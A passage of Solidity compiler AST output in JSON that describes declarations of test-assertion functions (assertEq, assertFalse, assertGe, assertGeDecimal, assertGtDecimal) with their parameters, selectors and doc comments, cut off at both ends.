ntifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"47876:50:13"},"returnParameters":{"id":13944,"nodeType":"ParameterList","parameters":[],"src":"47940:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13953,"nodeType":"FunctionDefinition","src":"48000:61:13","nodes":[],"documentation":{"id":13946,"nodeType":"StructuredDocumentation","src":"47947:48:13","text":"Asserts that two `address` values are equal."},"functionSelector":"515361f6","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"48009:8:13","parameters":{"id":13951,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13948,"mutability":"mutable","name":"left","nameLocation":"48026:4:13","nodeType":"VariableDeclaration","scope":13953,"src":"48018:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13947,"name":"address","nodeType":"ElementaryTypeName","src":"48018:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":13950,"mutability":"mutable","name":"right","nameLocation":"48040:5:13","nodeType":"VariableDeclaration","scope":13953,"src":"48032:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13949,"name":"address","nodeType":"ElementaryTypeName","src":"48032:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"48017:29:13"},"returnParameters":{"id":13952,"nodeType":"ParameterList","parameters":[],"src":"48060:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13963,"nodeType":"FunctionDefinition","src":"48177:84:13","nodes":[],"documentation":{"id":13954,"nodeType":"StructuredDocumentation","src":"48067:105:13","text":"Asserts that two `address` values are equal and includes error message into revert string on failure."},"functionSelector":"2f2769d1","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"48186:8:13","parameters":{"id":13961,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13956,"mutability":"mutable","name":"left","nameLocation":"48203:4:13","nodeType":"VariableDeclaration","scope":13963,"src":"48195:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13955,"name":"address","nodeType":"ElementaryTypeName","src":"48195:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":13958,"mutability":"mutable","name":"right","nameLocation":"48217:5:13","nodeType":"VariableDeclaration","scope":13963,"src":"48209:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13957,"name":"address","nodeType":"ElementaryTypeName","src":"48209:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":13960,"mutability":"mutable","name":"error","nameLocation":"48240:5:13","nodeType":"VariableDeclaration","scope":13963,"src":"48224:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13959,"name":"string","nodeType":"ElementaryTypeName","src":"48224:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"48194:52:13"},"returnParameters":{"id":13962,"nodeType":"ParameterList","parameters":[],"src":"48260:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13971,"nodeType":"FunctionDefinition","src":"48320:61:13","nodes":[],"documentation":{"id":13964,"nodeType":"StructuredDocumentation","src":"48267:48:13","text":"Asserts that two `bytes32` values are equal."},"functionSelector":"7c84c69b","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"48329:8:13","parameters":{"id":13969,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13966,"mutability":"mutable","name":"left","nameLocation":"48346:4:13","nodeType":"VariableDeclaration","scope":13971,"src":"48338:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13965,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48338:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":13968,"mutability":"mutable","name":"right","nameLocation":"48360:5:13","nodeType":"VariableDeclaration","scope":13971,"src":"48352:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13967,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48352:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"48337:29:13"},"returnParameters":{"id":13970,"nodeType":"ParameterList","parameters":[],"src":"48380:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13981,"nodeType":"FunctionDefinition","src":"48497:84:13","nodes":[],"documentation":{"id":13972,"nodeType":"StructuredDocumentation","src":"48387:105:13","text":"Asserts that two `bytes32` values are equal and includes error message into revert string on failure."},"functionSelector":"c1fa1ed0","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"48506:8:13","parameters":{"id":13979,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13974,"mutability":"mutable","name":"left","nameLocation":"48523:4:13","nodeType":"VariableDeclaration","scope":13981,"src":"48515:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13973,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48515:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":13976,"mutability":"mutable","name":"right","nameLocation":"48537:5:13","nodeType":"VariableDeclaration","scope":13981,"src":"48529:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13975,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48529:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":13978,"mutability":"mutable","name":"error","nameLocation":"48560:5:13","nodeType":"VariableDeclaration","scope":13981,"src":"48544:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13977,"name":"string","nodeType":"ElementaryTypeName","src":"48544:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"48514:52:13"},"returnParameters":{"id":13980,"nodeType":"ParameterList","parameters":[],"src":"48580:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13987,"nodeType":"FunctionDefinition","src":"48638:51:13","nodes":[],"documentation":{"id":13982,"nodeType":"StructuredDocumentation","src":"48587:46:13","text":"Asserts that the given condition is false."},"functionSelector":"a5982885","implemented":false,"kind":"function","modifiers":[],"name":"assertFalse","nameLocation":"48647:11:13","parameters":{"id":13985,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13984,"mutability":"mutable","name":"condition","nameLocation":"48664:9:13","nodeType":"VariableDeclaration","scope":13987,"src":"48659:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13983,"name":"bool","nodeType":"ElementaryTypeName","src":"48659:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"48658:16:13"},"returnParameters":{"id":13986,"nodeType":"ParameterList","parameters":[],"src":"48688:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13995,"nodeType":"FunctionDefinition","src":"48803:74:13","nodes":[],"documentation":{"id":13988,"nodeType":"StructuredDocumentation","src":"48695:103:13","text":"Asserts that the given condition is false and includes error message into revert string on failure."},"functionSelector":"7ba04809","implemented":false,"kind":"function","modifiers":[],"name":"assertFalse","nameLocation":"48812:11:13","parameters":{"id":13993,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13990,"mutability":"mutable","name":"condition","nameLocation":"48829:9:13","nodeType":"VariableDeclaration","scope":13995,"src":"48824:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13989,"name":"bool","nodeType":"ElementaryTypeName","src":"48824:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":13992,"mutability":"mutable","name":"error","nameLocation":"48856:5:13","nodeType":"VariableDeclaration","scope":13995,"src":"48840:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13991,"name":"string","nodeType":"ElementaryTypeName","src":"48840:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"48823:39:13"},"returnParameters":{"id":13994,"nodeType":"ParameterList","parameters":[],"src":"48876:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14005,"nodeType":"FunctionDefinition","src":"49038:86:13","nodes":[],"documentation":{"id":13996,"nodeType":"StructuredDocumentation","src":"48883:150:13","text":"Compares two `uint256` values. Expects first value to be greater than or equal to second.\n Formats values with decimals in failure message."},"functionSelector":"3d1fe08a","implemented":false,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"49047:15:13","parameters":{"id":14003,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13998,"mutability":"mutable","name":"left","nameLocation":"49071:4:13","nodeType":"VariableDeclaration","scope":14005,"src":"49063:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13997,"name":"uint256","nodeType":"ElementaryTypeName","src":"49063:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14000,"mutability":"mutable","name":"right","nameLocation":"49085:5:13","nodeType":"VariableDeclaration","scope":14005,"src":"49077:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13999,"name":"uint256","nodeType":"ElementaryTypeName","src":"49077:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14002,"mutability":"mutable","name":"decimals","nameLocation":"49100:8:13","nodeType":"VariableDeclaration","scope":14005,"src":"49092:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14001,"name":"uint256","nodeType":"ElementaryTypeName","src":"49092:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"49062:47:13"},"returnParameters":{"id":14004,"nodeType":"ParameterList","parameters":[],"src":"49123:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14017,"nodeType":"FunctionDefinition","src":"49339:109:13","nodes":[],"documentation":{"id":14006,"nodeType":"StructuredDocumentation","src":"49130:204:13","text":"Compares two `uint256` values. Expects first value to be greater than or equal to second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"8bff9133","implemented":false,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"49348:15:13","parameters":{"id":14015,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14008,"mutability":"mutable","name":"left","nameLocation":"49372:4:13","nodeType":"VariableDeclaration","scope":14017,"src":"49364:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14007,"name":"uint256","nodeType":"ElementaryTypeName","src":"49364:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14010,"mutability":"mutable","name":"right","nameLocation":"49386:5:13","nodeType":"VariableDeclaration","scope":14017,"src":"49378:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14009,"name":"uint256","nodeType":"ElementaryTypeName","src":"49378:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14012,"mutability":"mutable","name":"decimals","nameLocation":"49401:8:13","nodeType":"VariableDeclaration","scope":14017,"src":"49393:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14011,"name":"uint256","nodeType":"ElementaryTypeName","src":"49393:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14014,"mutability":"mutable","name":"error","nameLocation":"49427:5:13","nodeType":"VariableDeclaration","scope":14017,"src":"49411:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14013,"name":"string","nodeType":"ElementaryTypeName","src":"49411:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"49363:70:13"},"returnParameters":{"id":14016,"nodeType":"ParameterList","parameters":[],"src":"49447:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14027,"nodeType":"FunctionDefinition","src":"49608:84:13","nodes":[],"documentation":{"id":14018,"nodeType":"StructuredDocumentation","src":"49454:149:13","text":"Compares two `int256` values. Expects first value to be greater than or equal to second.\n Formats values with decimals in failure message."},"functionSelector":"dc28c0f1","implemented":false,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"49617:15:13","parameters":{"id":14025,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14020,"mutability":"mutable","name":"left","nameLocation":"49640:4:13","nodeType":"VariableDeclaration","scope":14027,"src":"49633:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14019,"name":"int256","nodeType":"ElementaryTypeName","src":"49633:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14022,"mutability":"mutable","name":"right","nameLocation":"49653:5:13","nodeType":"VariableDeclaration","scope":14027,"src":"49646:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14021,"name":"int256","nodeType":"ElementaryTypeName","src":"49646:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14024,"mutability":"mutable","name":"decimals","nameLocation":"49668:8:13","nodeType":"VariableDeclaration","scope":14027,"src":"49660:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14023,"name":"uint256","nodeType":"ElementaryTypeName","src":"49660:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"49632:45:13"},"returnParameters":{"id":14026,"nodeType":"ParameterList","parameters":[],"src":"49691:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14039,"nodeType":"FunctionDefinition","src":"49906:107:13","nodes":[],"documentation":{"id":14028,"nodeType":"StructuredDocumentation","src":"49698:203:13","text":"Compares two `int256` values. Expects first value to be greater than or equal to second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"5df93c9b","implemented":false,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"49915:15:13","parameters":{"id":14037,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14030,"mutability":"mutable","name":"left","nameLocation":"49938:4:13","nodeType":"VariableDeclaration","scope":14039,"src":"49931:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14029,"name":"int256","nodeType":"ElementaryTypeName","src":"49931:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14032,"mutability":"mutable","name":"right","nameLocation":"49951:5:13","nodeType":"VariableDeclaration","scope":14039,"src":"49944:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14031,"name":"int256","nodeType":"ElementaryTypeName","src":"49944:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14034,"mutability":"mutable","name":"decimals","nameLocation":"49966:8:13","nodeType":"VariableDeclaration","scope":14039,"src":"49958:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14033,"name":"uint256","nodeType":"ElementaryTypeName","src":"49958:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14036,"mutability":"mutable","name":"error","nameLocation":"49992:5:13","nodeType":"VariableDeclaration","scope":14039,"src":"49976:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14035,"name":"string","nodeType":"ElementaryTypeName","src":"49976:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"49930:68:13"},"returnParameters":{"id":14038,"nodeType":"ParameterList","parameters":[],"src":"50012:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14047,"nodeType":"FunctionDefinition","src":"50117:61:13","nodes":[],"documentation":{"id":14040,"nodeType":"StructuredDocumentation","src":"50019:93:13","text":"Compares two `uint256` values. Expects first value to be greater than or equal to second."},"functionSelector":"a8d4d1d9","implemented":false,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"50126:8:13","parameters":{"id":14045,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14042,"mutability":"mutable","name":"left","nameLocation":"50143:4:13","nodeType":"VariableDeclaration","scope":14047,"src":"50135:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14041,"name":"uint256","nodeType":"ElementaryTypeName","src":"50135:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14044,"mutability":"mutable","name":"right","nameLocation":"50157:5:13","nodeType":"VariableDeclaration","scope":14047,"src":"50149:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14043,"name":"uint256","nodeType":"ElementaryTypeName","src":"50149:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"50134:29:13"},"returnParameters":{"id":14046,"nodeType":"ParameterList","parameters":[],"src":"50177:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14057,"nodeType":"FunctionDefinition","src":"50344:84:13","nodes":[],"documentation":{"id":14048,"nodeType":"StructuredDocumentation","src":"50184:155:13","text":"Compares two `uint256` values. Expects first value to be greater than or equal to second.\n Includes error message into revert string on failure."},"functionSelector":"e25242c0","implemented":false,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"50353:8:13","parameters":{"id":14055,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14050,"mutability":"mutable","name":"left","nameLocation":"50370:4:13","nodeType":"VariableDeclaration","scope":14057,"src":"50362:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14049,"name":"uint256","nodeType":"ElementaryTypeName","src":"50362:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14052,"mutability":"mutable","name":"right","nameLocation":"50384:5:13","nodeType":"VariableDeclaration","scope":14057,"src":"50376:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14051,"name":"uint256","nodeType":"ElementaryTypeName","src":"50376:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14054,"mutability":"mutable","name":"error","nameLocation":"50407:5:13","nodeType":"VariableDeclaration","scope":14057,"src":"50391:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14053,"name":"string","nodeType":"ElementaryTypeName","src":"50391:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"50361:52:13"},"returnParameters":{"id":14056,"nodeType":"ParameterList","parameters":[],"src":"50427:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14065,"nodeType":"FunctionDefinition","src":"50531:59:13","nodes":[],"documentation":{"id":14058,"nodeType":"StructuredDocumentation","src":"50434:92:13","text":"Compares two `int256` values. Expects first value to be greater than or equal to second."},"functionSelector":"0a30b771","implemented":false,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"50540:8:13","parameters":{"id":14063,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14060,"mutability":"mutable","name":"left","nameLocation":"50556:4:13","nodeType":"VariableDeclaration","scope":14065,"src":"50549:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14059,"name":"int256","nodeType":"ElementaryTypeName","src":"50549:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14062,"mutability":"mutable","name":"right","nameLocation":"50569:5:13","nodeType":"VariableDeclaration","scope":14065,"src":"50562:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14061,"name":"int256","nodeType":"ElementaryTypeName","src":"50562:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"50548:27:13"},"returnParameters":{"id":14064,"nodeType":"ParameterList","parameters":[],"src":"50589:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14075,"nodeType":"FunctionDefinition","src":"50755:82:13","nodes":[],"documentation":{"id":14066,"nodeType":"StructuredDocumentation","src":"50596:154:13","text":"Compares two `int256` values. Expects first value to be greater than or equal to second.\n Includes error message into revert string on failure."},"functionSelector":"a84328dd","implemented":false,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"50764:8:13","parameters":{"id":14073,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14068,"mutability":"mutable","name":"left","nameLocation":"50780:4:13","nodeType":"VariableDeclaration","scope":14075,"src":"50773:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14067,"name":"int256","nodeType":"ElementaryTypeName","src":"50773:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14070,"mutability":"mutable","name":"right","nameLocation":"50793:5:13","nodeType":"VariableDeclaration","scope":14075,"src":"50786:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14069,"name":"int256","nodeType":"ElementaryTypeName","src":"50786:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14072,"mutability":"mutable","name":"error","nameLocation":"50816:5:13","nodeType":"VariableDeclaration","scope":14075,"src":"50800:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14071,"name":"string","nodeType":"ElementaryTypeName","src":"50800:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"50772:50:13"},"returnParameters":{"id":14074,"nodeType":"ParameterList","parameters":[],"src":"50836:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14085,"nodeType":"FunctionDefinition","src":"50986:86:13","nodes":[],"documentation":{"id":14076,"nodeType":"StructuredDocumentation","src":"50843:138:13","text":"Compares two `uint256` values. Expects first value to be greater than second.\n Formats values with decimals in failure message."},"functionSelector":"eccd2437","implemented":false,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"50995:15:13","parameters":{"id":14083,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14078,"mutability":"mutable","name":"left","nameLocation":"51019:4:13","nodeType":"VariableDeclaration","scope":14085,"src":"51011:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14077,"name":"uint256","nodeType":"ElementaryTypeName","src":"51011:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14080,"mutability":"mutable","name":"right","nameLocation":"51033:5:13","nodeType":"VariableDeclaration","scope":14085,"src":"51025:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14079,"name":"uint256","nodeType":"ElementaryTypeName","src":"51025:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14082,"mutability":"mutable","name":"decimals","nameLocation":"51048:8:13","nodeType":"VariableDeclaration","scope":14085,"src":"51040:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14081,"name":"uint256","nodeType":"ElementaryTypeName","src":"51040:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"51010:47:13"},"returnParameters":{"id":14084,"nodeType":"ParameterList","parameters":[],"src":"51071:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14097,"nodeType":"FunctionDefinition","src":"51275:109:13","nodes":[],"documentation":{"id":14086,"nodeType":"StructuredDocumentation","src":"51078:192:13","text":"Compares two `uint256` values. Expects first value to be greater than second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"64949a8d","implemented":false,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"51284:15:13","parameters":{"id":14095,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14088,"mutability":"mutable","name":"left","nameLocation":"51308:4:13","nodeType":"VariableDeclaration","scope":14097,"src":"51300:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14087,"name":"uint256","nodeType":"ElementaryTypeName","src":"51300:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14090,"mutability":"mutable","name":"right","nameLocation":"51322:5:13","nodeType":"VariableDeclaration","scope":14097,"src":"51314:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14089,"name":"uint256","nodeType":"ElementaryTypeName","src":"51314:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14092,"mutability":"mutable","name":"decimals","nameLocation":"51337:8:13","nodeType":"VariableDeclaration","scope":14097,"src":"51329:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14091,"name":"uint256","nodeType":"ElementaryTypeName","src":"51329:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14094,"mutability":"mutable","name":"error","nameLocation":"51363:5:13","nodeType":"VariableDeclaration","scope":14097,"src":"51347:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14093,"name":"string","nodeType":"ElementaryTypeName","src":"51347:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"51299:70:13"},"returnParameters":{"id":14096,"nodeType":"ParameterList","parameters":[],"src":"51383:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14107,"nodeType":"FunctionDefinition","src":"51532:84:13","nodes":[],"documentation":{"id":14098,"nodeType":"StructuredDocumentation","src":"51390:137:13","text":"Compares two `int256` values. Expects first value to be greater than second.\n Formats values with decimals in failure 